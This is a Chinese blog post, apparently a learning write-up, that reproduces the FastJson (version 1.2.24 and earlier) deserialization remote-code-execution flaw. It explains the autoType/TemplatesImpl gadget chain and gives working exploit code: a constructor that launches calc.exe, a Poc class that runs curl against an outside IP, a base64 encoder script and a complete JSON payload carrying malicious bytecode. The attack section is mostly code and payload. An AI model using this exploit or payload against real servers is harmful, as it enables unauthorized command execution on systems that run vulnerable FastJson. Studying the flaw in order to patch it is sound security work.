FastJson反序列化漏洞

参考文献:https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/
https://paper.seebug.org/636/
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4686.html
jar包下载:https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.47

Fastjson概念

Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象

一个栗子

序列化
PS:需导入fastjson.jar

  • User.java
package fastjsondemo;
import java.io.IOException;
public class User {
    public String Username;
    private String password ;
    public String getUsername() {
        return Username;
    }
    public void setUsername(String username) {
        Username = username;
    }
    public String getPassword() {
        return password;
    }
    public void setPassword(String password) {
        this.password = password;
    }
    public User() throws IOException{
        Runtime.getRuntime().exec("calc.exe");
    }
}
  • Test1.java
package fastjsondemo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test1 {
    public static void main(String[] args){
        User user = new User();
        user.setUsername("admin");
        user.setPassword("123456");
        String entity1= JSON.toJSONString(user);
        System.out.println(entity1);
        
        String entity2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
        System.out.println(entity2);
    }
}

img_8d3afa37ebd3e3bf0a9ed1e2a75fd34f.png

反序列化
FastJson中的 parse()parseObject()方法都可以用来将 JSON字符串反序列化成Java对象。但是 parseObject()会额外的将 Java对象转为 JSONObject对象,即 JSON.toJSON()parse() 会识别并调用 目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject()在处理过程中会调用反序列化目标类的所有 settergetter方法。

String json1="{\"Username\":\"root\",\"password\":\"123456\"}";
String json2="{\"@type\":\"fastjsondemo.User\",\"Username\":\"root\",\"password\":\"123456\"}";
Object obj = JSON.parseObject(json1,User.class);
System.out.println(obj);
Object obj1 = JSON.parseObject(json2,User.class);
System.out.println(obj1);
img_1ea79be8c2dabebc604d04ae9df716fe.png

img_ca60c7256da03edcc3d70eb6f7e0e6d6.png

PS:json反序列化时会自动调用无参构造器里的方法,导致计算器弹出
password字段设置的是私有属性,FastJson无权直接去反序列化私有字段。

复现fastjson 反序列化导致任意命令执行漏洞
version: FastJson<=1.2.24

环境搭建什么的就不说了,按照大佬给的步骤就行了

  • 这是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回:


    img_36cd93ca9f3a9e98caee3ec13650529c.png

    img_319937b6a596f768f7520241375aefa6.png

漏洞原理:

  • 原理
    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中有一个私有属性_bytecodes,其部分方法会执行这个值中包含的Java字节码。
    想要使用TemplatesImpl_bytecodes属性执行任意命令,有几个条件:
    ①目标网站使用fastjson库解析json
    ②解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性
    ③目标使用的jdk中存在TemplatesImpl
  • 调用链(偷大佬的图)
    img_d4d76e3e78b7ddb8bdd65dab133b9f91.png

    利用方式
  • poc.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Poc extends AbstractTranslet {    #强制类型转化为AbstractTranslet类

    public Poc() throws IOException {
        Runtime.getRuntime().exec("curl http://120.xxx.xxx.xxx:8989");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
        Poc t = new Poc();
    }
}
  • 执行命令javac Poc.java
  • 1.py(将Poc.class里面的内容base64加密(FastJson提取byte[]数组字段值时会进行Base64解码,所以构造payload时需要对 _bytecodes 进行Base64处理))
import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()
  • payload
{"name":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"},age:12}
img_b05f05aada2890b9a13d26de582b4163.png
img_fc412aa8f2c8d2b4b768364591bb8b58.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值